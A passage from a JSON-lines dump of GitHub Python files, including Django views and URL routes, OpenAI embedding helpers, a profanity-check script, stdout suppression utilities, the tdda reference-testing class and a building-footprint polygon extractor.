Ongoing.objects.filter(id=ongoing).delete()\n messages.success(request, \"Status updated to ongoing\")\n return redirect(\"completed\")\n","repo_name":"KrushilPonkiya/D2D-Door-to-Door-Delivery","sub_path":"D2D/delivery_person/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28716880155","text":"import openai # Import the OpenAI library\nimport numpy as np\nimport logging\nimport time\n\n# Define the predefined set of categories\nVALID_CATEGORIES = {'Personal', 'Work', 'Education', 'Entertainment', 'Other'}\n\n# Function to generate embeddings using OpenAI's API\ndef get_ada_embedding(text):\n text = text.replace(\"\\n\", \" \")\n start_time = time.time() # Measure the start time\n embedding = openai.Embedding.create(input=[text], model=\"text-embedding-ada-002\")[\n \"data\"\n ][0][\"embedding\"]\n end_time = time.time() # Measure the end time\n logging.debug(f\"get_ada_embedding duration: {end_time - start_time} seconds\") # Log the duration\n return embedding\n\ndef cosine_similarity(a, b):\n return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))\n\n# Function to generate summaries using OpenAI's GPT-3.5-turbo model\ndef get_summary(text):\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=[\n {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n {\"role\": \"user\", \"content\": f\"Please summarize the following text: {text}\"},\n ],\n )\n return response['choices'][0]['message']['content']\n","repo_name":"jfjordanfarr/ChatGPT-Memory","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"13409494257","text":"import urllib.request\nimport urllib.parse\n#def check_profanity(query):\n \n\ndef read_file_check_profanity():\n\n file = open(r\"E:\\Python\\Level 0\\curse_words_data\\Check_Article.txt\")\n file_contents = file.read()\n print(file_contents)\n #It is a good convention to close out any file that we have opened through our program.\n file.close()\n #check_profanity(file_contents)\n\n params = urllib.parse.urlencode({'q': file_contents})\n print(\"http://www.wdylike.appspot.com/?\" + params)\n connections = urllib.request.urlopen(\"http://www.wdylike.appspot.com/?\" + params)\n the_page = connections.read()\n print(the_page)\n connections.close()\nread_file_check_profanity()\n","repo_name":"ArchDev-Percival/CourseWork-IntroductoryPython-Basics","sub_path":"5_profanity_editor.py","file_name":"5_profanity_editor.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40514418460","text":"import contextlib\nfrom contextlib import contextmanager\nimport sys, os\nimport io\nfrom contextlib import redirect_stdout\n\n\ndef capture_stdout(function_call):\n f = io.StringIO()\n with redirect_stdout(f):\n function_call()\n out = f.getvalue()\n return out\n\n\n@contextmanager\ndef suppress_stdout():\n with open(os.devnull, \"w\") as devnull:\n old_stdout = sys.stdout\n sys.stdout = devnull\n try: \n yield\n finally:\n sys.stdout = old_stdout\n\n@contextmanager\ndef suppress_stderr():\n with open(os.devnull, \"w\") as devnull:\n old_stderr = sys.stderr\n sys.stderr = devnull\n try: \n yield\n finally:\n sys.stderr = old_stderr","repo_name":"rrhg/accounting-data-entry-helper","sub_path":"utils/suppress_io.py","file_name":"suppress_io.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"6105622475","text":"# -*- coding: utf-8 -*-\n\n__unittest = True\n\n\nimport os\nimport sys\nimport tempfile\n\nfrom tdda.referencetest.checkpandas import PandasComparison\nfrom tdda.referencetest.checkfiles import FilesComparison\n\n\n# DEFAULT_FAIL_DIR is the default location for writing failing output\n# if assertStringCorrect or assertTextFileCorrect fail with 'preprocessing'\n# in place. This can be overridden using the set_defaults() class method.\nDEFAULT_FAIL_DIR = os.environ.get('TDDA_FAIL_DIR', tempfile.gettempdir())\n\n\ndef tag(test):\n \"\"\"\n Decorator for tests, so that you can specify you only want to\n run a tagged subset of tests, with the -1 or --tagged option.\n \"\"\"\n test._tagged = True\n return test\n\n\nclass ReferenceTest(object):\n \"\"\"\n The :py:class:`~tdda.referencetest.referencetest.ReferenceTest` class\n provides support for comparing results against a set of reference\n \"known to be correct\" results.\n\n The functionality provided by this class can be used with:\n\n - the standard Python :py:mod:`unittest` framework, using the\n :py:class:`~tdda.referencetest.referencetestcase.ReferenceTestCase`\n class. This is a subclass of, and therefore a drop-in replacement\n for, :py:class:`unittest.TestCase`. It extends that class with all\n of the methods from the\n :py:class:`~tdda.referencetest.referencetest.ReferenceTest` class.\n\n - the :py:mod:`pytest` framework, using the\n :py:mod:`~tdda.referencetest.referencepytest` module.\n This module provides all of the methods from the\n :py:class:`~tdda.referencetest.referencetest.ReferenceTest` class,\n exposed as functions that can be called directly from tests\n in a :py:mod:`pytest` suite.\n\n In addition to the various test-assertion methods, the module also\n provides some useful instance variables. All of these can be set\n explicitly in test setup code, using the :py:meth:`set_defaults`\n class method.\n \"\"\"\n\n # Verbose flag\n verbose = True\n\n # Temporary directory\n tmp_dir = DEFAULT_FAIL_DIR\n\n # Dictionary describing which kinds of reference files should be\n # regenerated when the tests are run. This should be set using the\n # set_regeneration() class-method. Can be initialized via the -w option.\n regenerate = {}\n\n # Dictionary describing default location for reference data, for\n # each kind. Can be initialized by set_default_data_location().\n default_data_locations = {}\n\n @classmethod\n def set_defaults(cls, **kwargs):\n \"\"\"Set default parameters, at the class level. These defaults will\n apply to all instances of the class.\n\n The following parameters can be set:\n\n *verbose*:\n Sets the boolean verbose flag globally, to control\n reporting of errors while running tests. Reference\n tests tend to take longer to run than traditional\n unit tests, so it is often useful to be able to see\n information from failing tests as they happen, rather\n than waiting for the full report at the end. Verbose\n is set to ``True`` by default.\n\n *print_fn*: Sets the print function globally, to specify\n the function to use to display information while\n running tests. The function have the same signature\n as Python3's standard print function, a default\n print function is used which writes unbuffered to\n ``sys.stdout``.\n\n *tmp_dir*:\n Sets the tmp_dir property globally, to specify the\n directory where temporary files are written.\n Temporary files are created whenever a text file\n check fails and a 'preprocess' function has been\n specified. It's useful to be able to see the contents\n of the files after preprocessing has taken place,\n so preprocessed versions of the files are written\n to this directory, and their pathnames are included\n in the failure messages. If not explicitly set by\n :py:meth:`set_defaults()`, the environment variable\n *TDDA_FAIL_DIR* is used, or, if that is not defined,\n it defaults to */tmp*, *c:\\\\temp* or whatever\n :py:func:`tempfile.gettempdir()` returns, as\n appropriate.\n \"\"\"\n for k in kwargs:\n if k == 'verbose':\n cls.verbose = kwargs[k]\n elif k == 'print_fn':\n cls.print_fn = kwargs[k]\n elif k == 'tmp_dir':\n cls.tmp_dir = kwargs[k]\n else:\n raise Exception('set_defaults: Unrecogized option %s' % k)\n\n @classmethod\n def set_regeneration(cls, kind=None, regenerate=True):\n \"\"\"\n Set the regeneration flag for a particular kind of reference file,\n globally, for all instances of the class.\n\n If the regenerate flag is set to ``True``, then the framework will\n regenerate reference data of that kind, rather than comparing.\n\n All of the regeneration flags are set to False by default.\n \"\"\"\n cls.regenerate[kind] = regenerate\n\n @classmethod\n def set_default_data_location(cls, location, kind=None):\n \"\"\"\n Declare the default filesystem location for reference files of a\n particular kind. This sets the location for all instances of the class\n it is called on. Subclasses will inherit this default (unless they\n explicitly override it).\n\n To set the location globally for all tests in all classes\n within an application, call this method on the\n :py:class:`ReferenceTest` class.\n\n The instance method :py:meth:`set_data_location()` can be used to set\n the per-kind data locations for an individual instance of a class.\n\n If calls to :py:meth:`assertTextFileCorrect()` (etc) are made for\n kinds of reference data that hasn't had their location defined\n explicitly, then the\n default location is used. This is the location declared for\n the ``None`` *kind* and this default **must** be specified.\n\n If you haven't even defined the ``None`` default, and you make calls\n to :py:meth:`assertTextFileCorrect()` (etc) using relative pathnames\n for the reference data files, then it can't check correctness, so it\n will raise an exception.\n\n \"\"\"\n clsid = id(cls)\n if clsid not in cls.default_data_locations:\n cls.default_data_locations[clsid] = {}\n cls.default_data_locations[clsid][kind] = os.path.normpath(location)\n\n @staticmethod\n def _cls_dataloc(cls, d=None):\n \"\"\"\n Internal function for obtaining the default data location settings\n for the given class, inheriting from all parent classes all the\n way up to the :py:class:`ReferenceTest` class root.\n \"\"\"\n if d is None:\n d = {}\n for parentcls in cls.__bases__:\n if issubclass(parentcls, ReferenceTest):\n parentcls._cls_dataloc(parentcls, d)\n clsid = id(cls)\n if clsid in cls.default_data_locations:\n d.update(cls.default_data_locations[clsid])\n return d\n\n def __init__(self, assert_fn):\n \"\"\"\n Initializer for a ReferenceTest instance.\n\n *assert_fn*:\n Function to be used to make assertions for\n unit-tests. It should take two parameters:\n\n - a value (which should evaluate as ``True`` for\n the test to pass)\n - a string (to report details of how a test\n failed, if the value does not evaluate as ``True``).\n \"\"\"\n self.assert_fn = assert_fn\n self.reference_data_locations = self._cls_dataloc(self.__class__)\n self.pandas = PandasComparison(print_fn=self.call_print_fn,\n verbose=self.verbose)\n self.files = FilesComparison(print_fn=self.call_print_fn,\n verbose=self.verbose,\n tmp_dir=self.tmp_dir)\n\n def all_fields_except(self, exclusions):\n \"\"\"\n Helper function, for using with *check_data*, *check_types* and\n *check_order* parameters to assertion functions for Pandas DataFrames.\n It returns the names of all of the fields in the DataFrame being\n checked, apart from the ones given.\n\n *exclusions* is a list of field names.\n \"\"\"\n return self.pandas.all_fields_except(exclusions)\n\n def set_data_location(self, location, kind=None):\n \"\"\"\n Declare the filesystem location for reference files of a\n particular kind. Typically you would subclass\n ``ReferenceTestCase`` and pass in these locations though its\n ``__init__`` method when constructing an instance of\n ReferenceTestCase as a superclass.\n\n If calls to :py:meth:`assertTextFileCorrect()` (etc) are made for\n kinds of reference data that hasn't had their location defined\n explicitly, then the\n default location is used. This is the location declared for\n the ``None`` *kind* and this default **must** be specified.\n\n This method overrides any global defaults set from calls to the\n :py:meth:`ReferenceTest.set_default_data_location()` class-method.\n\n If you haven't even defined the ``None`` default, and you make calls\n to :py:meth:`assertTextFileCorrect()` (etc) using relative pathnames\n for the reference data files, then it can't check correctness, so it\n will raise an exception.\n\n \"\"\"\n self.reference_data_locations[kind] = os.path.normpath(location)\n\n def assertDataFramesEqual(self, df, ref_df,\n actual_path=None, expected_path=None,\n check_data=None, check_types=None,\n check_order=None, condition=None, sortby=None,\n precision=None):\n \"\"\"Check that an in-memory Pandas `DataFrame` matches an in-memory\n reference one.\n\n *df*:\n Actual `DataFrame`.\n\n *ref_df*:\n Expected `DataFrame`.\n\n *actual_path*:\n (Optional) path for file where\n actual DataFrame originated, used for error messages.\n\n *expected_path*:\n (Optional) path for file where\n expected DataFrame originated, used for error messages.\n\n *check_data*:\n (Optional) restriction of fields whose values should\n be compared.\n Possible values are:\n\n - ``None`` or ``True`` (to apply the comparison to\n *all* fields; this is the default).\n - ``False`` (to skip the comparison completely)\n - a list of field names (to check only these fields)\n - a function taking a ``DataFrame`` as its single\n parameter,\n and returning a list of field names to check.\n\n *check_types*:\n (Optional) restriction of fields whose types should be\n compared.\n See *check_data* (above) for possible values.\n\n *check_order*:\n (Optional) restriction of fields whose (relative)\n order should be compared.\n See *check_data* (above) for possible values.\n\n *check_extra_cols*:\n (Optional) restriction of extra fields in the actual dataset\n which, if found, will cause the check to fail.\n See *check_data* (above) for possible values.\n\n *sortby*:\n (Optional) specification of fields to sort by before comparing.\n\n - ``None`` or ``False`` (do not sort; this is the default)\n - ``True`` (to sort on all fields based on their\n order in the reference datasets; you probably\n don't want to use this option)\n - a list of field names (to sort on these fields, in order)\n - a function taking a ``DataFrame`` (which will be\n the reference data frame) as its single\n parameter,\n and returning a list of field names to sort on.\n\n *condition*:\n (Optional) filter to be applied to datasets before comparing.\n It can be ``None``, or can be a function that\n takes a `DataFrame` as its single parameter and\n returns a vector of booleans (to specify which rows\n should be compared).\n\n *precision*:\n (Optional) number of decimal places to use for\n floating-point comparisons. Default is not to perform\n rounding.\n\n Raises :py:class:`NotImplementedError` if Pandas is not available.\n\n \"\"\"\n r = self.pandas.check_dataframe(df, ref_df,\n actual_path=actual_path,\n expected_path=expected_path,\n check_data=check_data,\n check_types=check_types,\n check_order=check_order,\n condition=condition,\n sortby=sortby,\n precision=precision)\n (failures, msgs) = r\n self._check_failures(failures, msgs)\n\n def assertDataFrameCorrect(self, df, ref_csv, actual_path=None,\n kind='csv', csv_read_fn=None,\n check_data=None, check_types=None,\n check_order=None, condition=None, sortby=None,\n precision=None, **kwargs):\n \"\"\"\n Check that an in-memory Pandas DataFrame matches a reference one\n from a saved reference CSV file.\n\n *df*:\n Actual DataFrame.\n\n *ref_csv*:\n Name of reference CSV file. The location of the\n reference file is determined by the configuration\n via :py:meth:`set_data_location()`.\n\n *actual_path*:\n Optional parameter, giving path for file where\n actual DataFrame originated, used for error\n messages.\n\n *kind*:\n (Optional) reference kind (a string; see above), used to locate\n the reference CSV file.\n\n *csv_read_fn*:\n (Optional) function to read a CSV file to obtain\n a pandas DataFrame. If ``None``, then a default\n CSV loader is used.\n\n The default CSV loader function is a wrapper around Pandas\n :py:func:`pd.read_csv()`, with default options as follows:\n\n - ``index_col`` is ``None``\n - ``infer_datetime_format`` is ``True``\n - ``quotechar`` is ``\"``\n - ``quoting`` is :py:const:`csv.QUOTE_MINIMAL`\n - ``escapechar`` is ``\\\\`` (backslash)\n - ``na_values`` are the empty string, ``\"NaN\"``, and ``\"NULL\"``\n - ``keep_default_na`` is ``False``\n\n It also accepts the ``check_data``, ``check_types``, ``check_order``,\n ``check_extra_cols``, ``sortby``, ``condition`` and ``precision``\n optional parameters described in :py:meth:`assertDataFramesEqual()`.\n\n Raises :py:class:`NotImplementedError` if Pandas is not available.\n\n \"\"\"\n expected_path = self._resolve_reference_path(ref_csv, kind=kind)\n if self._should_regenerate(kind):\n self._write_reference_dataset(df, expected_path)\n else:\n ref_df = self.pandas.load_csv(expected_path, loader=csv_read_fn)\n self.assertDataFramesEqual(df, ref_df,\n actual_path=actual_path,\n expected_path=expected_path,\n check_data=check_data,\n check_types=check_types,\n check_order=check_order,\n condition=condition,\n sortby=sortby,\n precision=precision)\n\n def assertCSVFileCorrect(self, actual_path, ref_csv,\n kind='csv', csv_read_fn=None,\n check_data=None, check_types=None,\n check_order=None, condition=None, sortby=None,\n precision=None, **kwargs):\n \"\"\"Check that a CSV file matches a reference one.\n\n *actual_path*:\n Actual CSV file.\n\n *ref_csv*:\n Name of reference CSV file. The location of the\n reference file is determined by the configuration\n via :py:meth:`set_data_location()`.\n\n *kind*:\n (Optional) reference kind (a string; see above), used to locate\n the reference CSV file.\n\n *csv_read_fn*:\n (Optional) function to read a CSV file to obtain\n a pandas DataFrame. If ``None``, then a default\n CSV loader is used.\n\n The default CSV loader function is a wrapper around Pandas\n :py:func:`pd.read_csv()`, with default options as follows:\n\n - ``index_col`` is ``None``\n - ``infer_datetime_format`` is ``True``\n - ``quotechar`` is ``\"``\n - ``quoting`` is :py:const:`csv.QUOTE_MINIMAL`\n - ``escapechar`` is ``\\\\`` (backslash)\n - ``na_values`` are the empty string, ``\"NaN\"``, and ``\"NULL\"``\n - ``keep_default_na`` is ``False``\n\n *\\*\\*kwargs*:\n Any additional named parameters are passed\n straight through to the *csv_read_fn* function.\n\n It also accepts the ``check_data``, ``check_types``, ``check_order``,\n ``check_extra_cols``, ``sortby``, ``condition`` and ``precision``\n optional parameters described in :py:meth:`assertDataFramesEqual()`.\n\n Raises :py:class:`NotImplementedError` if Pandas is not available.\n \"\"\"\n expected_path = self._resolve_reference_path(ref_csv, kind=kind)\n if self._should_regenerate(kind):\n self._write_reference_file(actual_path, expected_path)\n else:\n r = self.pandas.check_csv_file(actual_path, expected_path,\n check_data=check_data,\n check_types=check_types,\n check_order=check_order,\n condition=condition,\n sortby=sortby,\n precision=precision,\n loader=csv_read_fn,\n **kwargs)\n (failures, msgs) = r\n self._check_failures(failures, msgs)\n\n def assertCSVFilesCorrect(self, actual_paths, ref_csvs,\n kind='csv', csv_read_fn=None,\n check_data=None, check_types=None,\n check_order=None, condition=None, sortby=None,\n precision=None, **kwargs):\n \"\"\"Check that a set of CSV files match corresponding reference ones.\n\n *actual_paths*:\n List of actual CSV files.\n\n *ref_csvs*:\n List of names of matching reference CSV files. The\n location of the reference files is determined by\n the configuration via :py:meth:`set_data_location()`.\n\n *kind*:\n (Optional) reference kind (a string; see above), used to locate\n the reference CSV file.\n\n *csv_read_fn*:\n (Optional) function to read a CSV file to obtain\n a pandas DataFrame. If ``None``, then a default\n CSV loader is used.\n\n The default CSV loader function is a wrapper around Pandas\n :py:func:`pd.read_csv()`, with default options as follows:\n\n - ``index_col`` is ``None``\n - ``infer_datetime_format`` is ``True``\n - ``quotechar`` is ``\"``\n - ``quoting`` is :py:const:`csv.QUOTE_MINIMAL`\n - ``escapechar`` is ``\\\\`` (backslash)\n - ``na_values`` are the empty string, ``\"NaN\"``, and ``\"NULL\"``\n - ``keep_default_na`` is ``False``\n\n *\\*\\*kwargs*:\n Any additional named parameters are passed straight\n through to the *csv_read_fn* function.\n\n It also accepts the ``check_data``, ``check_types``, ``check_order``,\n ``check_extra_cols``, ``sortby``, ``condition`` and ``precision``\n optional parameters described in :py:meth:`assertDataFramesEqual()`.\n\n Raises :py:class:`NotImplementedError` if Pandas is not available.\n\n \"\"\"\n expected_paths = self._resolve_reference_paths(ref_csvs, kind=kind)\n if self._should_regenerate(kind):\n self._write_reference_files(actual_paths, expected_paths)\n else:\n r = self.pandas.check_csv_files(actual_paths, expected_paths,\n check_data=check_data,\n check_types=check_types,\n check_order=check_order,\n condition=condition,\n sortby=sortby,\n precision=precision,\n loader=csv_read_fn,\n **kwargs)\n (failures, msgs) = r\n self._check_failures(failures, msgs)\n\n def assertStringCorrect(self, string, ref_path, kind=None,\n lstrip=False, rstrip=False,\n ignore_substrings=None, ignore_patterns=None,\n remove_lines=None, ignore_lines=None,\n preprocess=None, max_permutation_cases=0):\n \"\"\"\n Check that an in-memory string matches the contents from a reference\n text file.\n\n *string*:\n The actual string.\n\n *ref_path*:\n The name of the reference file. The\n location of the reference file is\n determined by the configuration via\n :py:meth:`set_data_location()`.\n\n *kind*:\n The reference *kind*, used to locate the reference file.\n\n *lstrip*:\n If set to ``True``, both strings are\n left-stripped before the comparison is carried out.\n Note: the stripping is on a per-line basis.\n\n *rstrip*:\n If set to ``True``, both strings are\n right-stripped before the comparison is carried out.\n Note: the stripping is on a per-line basis.\n\n *ignore_substrings*:\n An optional list of substrings; lines\n containing any of these substrings will be\n ignored in the comparison.\n\n *ignore_patterns*:\n An optional list of regular expressions;\n lines will be considered to be the same if\n they only differ in substrings that match\n one of these regular expressions.\n The expressions should only include explicit anchors if they\n need to refer to the whole line.\n Only the matched expression within the line is ignored; any text\n to the left or right of the matched expression must either be\n **exactly** the same on both sides, or be ignorable.\n\n *remove_lines*\n An optional list of substrings; lines\n containing any of these substrings will be\n completely removed before carrying out the\n comparison. This is the means by which you\n would exclude 'optional' content.\n\n *preprocess*:\n An optional function that takes a list of\n strings and preprocesses it in some way; this\n function will be applied to both the actual and expected.\n\n *max_permutation_cases*:\n An optional number specifying the maximum\n number of permutations allowed; if the actual\n and expected lists differ only in that their\n lines are permutations of each other, and\n the number of such permutations does not\n exceed this limit, then the two are considered to be identical.\n\n The *ignore_lines* parameter exists for backwards compatibility as\n an alias for *remove_lines*.\n \"\"\"\n expected_path = self._resolve_reference_path(ref_path, kind=kind)\n if self._should_regenerate(kind):\n self._write_reference_result(string, expected_path,\n lstrip=lstrip, rstrip=rstrip)\n else:\n ilc = ignore_substrings\n ip = ignore_patterns\n mpc = max_permutation_cases\n rl = remove_lines or ignore_lines\n r = self.files.check_string_against_file(string, expected_path,\n actual_path=None,\n lstrip=lstrip,\n rstrip=rstrip,\n ignore_substrings=ilc,\n ignore_patterns=ip,\n remove_lines=rl,\n preprocess=preprocess,\n max_permutation_cases=mpc)\n (failures, msgs) = r\n self._check_failures(failures, msgs)\n\n def assertTextFileCorrect(self, actual_path, ref_path, kind=None,\n lstrip=False, rstrip=False,\n ignore_substrings=None, ignore_patterns=None,\n remove_lines=None, ignore_lines=None,\n preprocess=None, max_permutation_cases=0,\n encoding=None):\n \"\"\"\n Check that a text file matches the contents from a reference text file.\n\n *actual_path*:\n A path for a text file.\n\n *ref_path*:\n The name of the reference file. The\n location of the reference file is determined by\n the configuration via\n :py:meth:`set_data_location()`.\n\n It also accepts the ``kind``, ``lstrip``, ``rstrip``,\n ``ignore_substrings``, ``ignore_patterns``, ``remove_lines``,\n ``preprocess`` and ``max_permutation_cases``\n optional parameters described in :py:meth:`assertStringCorrect()`.\n\n This should be used for unstructured data such as logfiles, etc.\n For CSV files, use :py:meth:`assertCSVFileCorrect` instead.\n\n The *ignore_lines* parameter exists for backwards compatibility as\n an alias for *remove_lines*.\n\n The :py:meth:`assertFileCorrect()` method can be used as an alias for\n :py:meth:`assertTextFileCorrect()`, retained for backwards\n compatibility.\n \"\"\"\n expected_path = self._resolve_reference_path(ref_path, kind=kind)\n if self._should_regenerate(kind):\n self._write_reference_file(actual_path, expected_path,\n lstrip=lstrip, rstrip=rstrip)\n else:\n mpc = max_permutation_cases\n rl = remove_lines or ignore_lines\n r = self.files.check_file(actual_path, expected_path,\n lstrip=lstrip, rstrip=rstrip,\n ignore_substrings=ignore_substrings,\n ignore_patterns=ignore_patterns,\n remove_lines=rl,\n preprocess=preprocess,\n max_permutation_cases=mpc,\n encoding=encoding)\n (failures, msgs) = r\n self._check_failures(failures, msgs)\n\n def assertTextFilesCorrect(self, actual_paths, ref_paths, kind=None,\n lstrip=False, rstrip=False,\n ignore_substrings=None, ignore_patterns=None,\n remove_lines=None, ignore_lines=None,\n preprocess=None, max_permutation_cases=0,\n encodings=None):\n \"\"\"\n Check that a collection of text files matche the contents from\n matching collection of reference text files.\n\n *actual_paths*:\n A list of paths for text files.\n\n *ref_paths*:\n A list of names of the matching reference\n files. The location of the reference files\n is determined by the configuration via\n :py:meth:`set_data_location()`.\n\n This should be used for unstructured data such as logfiles, etc.\n For CSV files, use :py:meth:`assertCSVFileCorrect` instead.\n\n It also accepts the ``kind``, ``lstrip``, ``rstrip``,\n ``ignore_substrings``, ``ignore_patterns``, ``remove_lines``,\n ``preprocess`` and ``max_permutation_cases``\n optional parameters described in :py:meth:`assertStringCorrect()`.\n\n The :py:meth:`assertFilesCorrect()` metohd can be used as an alias for\n :py:meth:`assertTextFilesCorrect()`, retained for backwards\n compatibility.\n \"\"\"\n expected_paths = self._resolve_reference_paths(ref_paths, kind=kind)\n if self._should_regenerate(kind):\n self._write_reference_files(actual_paths, expected_paths,\n lstrip=strip, rstrip=rstrip)\n else:\n mpc = max_permutation_cases\n rl = remove_lines or ignore_lines\n r = self.files.check_files(actual_paths, expected_paths,\n lstrip=lstrip, rstrip=rstrip,\n ignore_substrings=ignore_substrings,\n ignore_patterns=ignore_patterns,\n remove_lines=rl,\n preprocess=preprocess,\n max_permutation_cases=mpc,\n encodings=encodings)\n (failures, msgs) = r\n self._check_failures(failures, msgs)\n\n # DEPRECATED\n assertFileCorrect = assertTextFileCorrect\n assertFilesCorrect = assertTextFilesCorrect\n\n def assertBinaryFileCorrect(self, actual_path, ref_path, kind=None):\n \"\"\"\n Check that a binary file matches the contents from a reference\n binary file.\n\n *actual_path*:\n A path for a binary file.\n\n *ref_path*:\n The name of the reference binary file. The\n location of the reference file is determined by\n the configuration via\n :py:meth:`set_data_location()`.\n\n *kind*:\n The reference *kind*, used to locate the reference file.\n \"\"\"\n expected_path = self._resolve_reference_path(ref_path, kind=kind)\n if self._should_regenerate(kind):\n self._write_reference_file(actual_path, expected_path, binary=True)\n else:\n r = self.files.check_binary_file(actual_path, expected_path)\n (failures, msgs) = r\n self._check_failures(failures, msgs)\n\n def _resolve_reference_path(self, path, kind=None):\n \"\"\"\n Internal method for deciding where a reference data file should\n be looked for, if it has been specified using a relative path.\n \"\"\"\n if self.reference_data_locations and not os.path.isabs(path):\n if kind not in self.reference_data_locations:\n kind = None\n if kind in self.reference_data_locations:\n path = os.path.join(self.reference_data_locations[kind], path)\n else:\n raise Exception('No reference data location for \"%s\"' % kind)\n return path\n\n def _resolve_reference_paths(self, paths, kind=None):\n \"\"\"\n Internal method for resolving a list of reference data files,\n all of the same kind.\n \"\"\"\n return [self._resolve_reference_path(p, kind=kind) for p in paths]\n\n def _should_regenerate(self, kind):\n \"\"\"\n Internal method to determine if a particular kind of file\n should be regenerated.\n \"\"\"\n if kind not in self.regenerate:\n kind = None\n return kind in self.regenerate and self.regenerate[kind]\n\n def _write_reference_file(self, actual_path, reference_path, binary=False,\n lstrip=False, rstrip=False):\n \"\"\"\n Internal method for regenerating reference data.\n \"\"\"\n mode = 'rb' if binary else 'r'\n with open(actual_path, mode) as fin:\n actual = fin.read()\n self._write_reference_result(actual, reference_path, binary=binary)\n\n def _write_reference_files(self, actual_paths, reference_paths,\n lstrip=False, rstrip=False):\n \"\"\"\n Internal method for regenerating reference data for a list of\n files.\n \"\"\"\n for (actual_path, expected_path) in zip(actual_paths, reference_paths):\n self._write_reference_file(actual_path, expected_path,\n lstrip=lstrip, rstrip=rstrip)\n\n def _write_reference_dataset(self, df, reference_path):\n \"\"\"\n Internal method for regenerating reference data for a Pandas dataset\n \"\"\"\n self.pandas.write_csv(df, reference_path)\n\n def _write_reference_result(self, result, reference_path, binary=False,\n lstrip=False, rstrip=False):\n \"\"\"\n Internal method for regenerating reference data from in-memory\n results.\n \"\"\"\n mode = 'wb' if binary else 'w'\n with open(reference_path, mode) as fout:\n fout.write(result)\n if self.verbose and self.print_fn:\n self.print_fn('Written %s' % reference_path)\n\n def _check_failures(self, failures, msgs):\n \"\"\"\n Internal method for check for failures and reporting them.\n \"\"\"\n self.assert_fn(failures == 0, msgs.message())\n\n def call_print_fn(self, *args, **kwargs):\n fn = self.print_fn or self._default_print_fn\n fn(*args, **kwargs)\n\n @staticmethod\n def _default_print_fn(*args, **kwargs):\n # Sometimes the framework needs to print messages. By default, it\n # will use this print function, but you can override it by passing\n # in a print_fn parameter to __init__.\n print(*args, **kwargs)\n outfile = kwargs.get('file', sys.stdout)\n outfile.flush()\n\n # Default print function\n print_fn = _default_print_fn\n\n\n# Magic so that an instance of this class can masquerade as a module,\n# so that all of its methods can be made available as top-level functions,\n# to work will with frameworks like pytest.\nReferenceTest.__all__ = dir(ReferenceTest)\n\n","repo_name":"tdda/tdda","sub_path":"tdda/referencetest/referencetest.py","file_name":"referencetest.py","file_ext":"py","file_size_in_byte":36489,"program_lang":"python","lang":"en","doc_type":"code","stars":271,"dataset":"github-code","pt":"19"} +{"seq_id":"20207603250","text":"import sys\nimport collections\n\nimport geojson\n\nimport shapely.geometry\n\nfrom postproc.utils import opening, extract_contours, simplify, parents_in_hierarchy, featurize\n\nclass BuildingExtract(object):\n def __init__(self, kernel_opening = 20, simplify_threshold = 0.01):\n \"\"\"\n Adapted from: https://github.com/mapbox/robosat \n \"\"\"\n self.kernel_opening = kernel_opening\n self.simplify_threshold = simplify_threshold\n self.features = []\n\n def extract(self, tile, mask):\n\n mask = opening(mask, self.kernel_opening)\n multipolygons, hierarchy = extract_contours(mask)\n\n if hierarchy is None:\n return\n\n assert len(hierarchy) == 1, \"always single hierarchy for all polygons in multipolygon\"\n hierarchy = hierarchy[0]\n\n assert len(multipolygons) == len(hierarchy), \"polygons and hierarchy in sync\"\n\n polygons = [simplify(polygon, self.simplify_threshold) for polygon in multipolygons]\n\n # All child ids in hierarchy tree, keyed by root id.\n features = collections.defaultdict(set)\n\n for i, (polygon, node) in enumerate(zip(polygons, hierarchy)):\n if len(polygon) < 3:\n print(\"Warning: simplified feature no longer valid polygon, skipping\", file=sys.stderr)\n continue\n\n _, _, _, parent_idx = node\n\n ancestors = list(parents_in_hierarchy(i, hierarchy))\n\n # Only handles polygons with a nesting of two levels for now => no multipolygons.\n if len(ancestors) > 1:\n print(\"Warning: polygon ring nesting level too deep, skipping\", file=sys.stderr)\n continue\n\n # A single mapping: i => {i} implies single free-standing polygon, no inner rings.\n # Otherwise: i => {i, j, k, l} implies: outer ring i, inner rings j, k, l.\n root = ancestors[-1] if ancestors else i\n\n features[root].add(i)\n\n for outer, inner in features.items():\n rings = [featurize(tile, polygons[outer], mask.shape[:2])]\n\n # In mapping i => {i, ..} i is not a child.\n children = inner.difference(set([outer]))\n\n for child in children:\n rings.append(featurize(tile, polygons[child], mask.shape[:2]))\n\n assert 0 < len(rings), \"at least one outer ring in a polygon\"\n\n geometry = geojson.Polygon(rings)\n shape = shapely.geometry.shape(geometry)\n\n if shape.is_valid:\n self.features.append(geojson.Feature(geometry=geometry))\n else:\n print(\"Warning: extracted feature is not valid, skipping\", file=sys.stderr)\n\n def save(self, out):\n collection = geojson.FeatureCollection(self.features)\n\n with open(out, \"w\") as fp:\n geojson.dump(collection, fp)\n","repo_name":"LBNL-ETA/AutoBFE","sub_path":"postproc/building_footprint.py","file_name":"building_footprint.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"19"} +{"seq_id":"71496382763","text":"#encoding: utf-8\n\nfrom django.conf.urls import url\nimport views\n\nurlpatterns = [\n url(r'^login/$',views.LoginView.as_view(),name='login'),\n url(r'^regist/$',views.RegistView.as_view(),name='regist'),\n url(r'^graph_captcha/$',views.graph_captcha,name='graph_captcha'),\n url(r'^sms_captcha/$',views.sms_captcha,name='sms_captcha'),\n]","repo_name":"yifanlulu/dfz","sub_path":"apps/frontuser/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"19"} +{"seq_id":"25387641930","text":"# -*- coding: utf-8 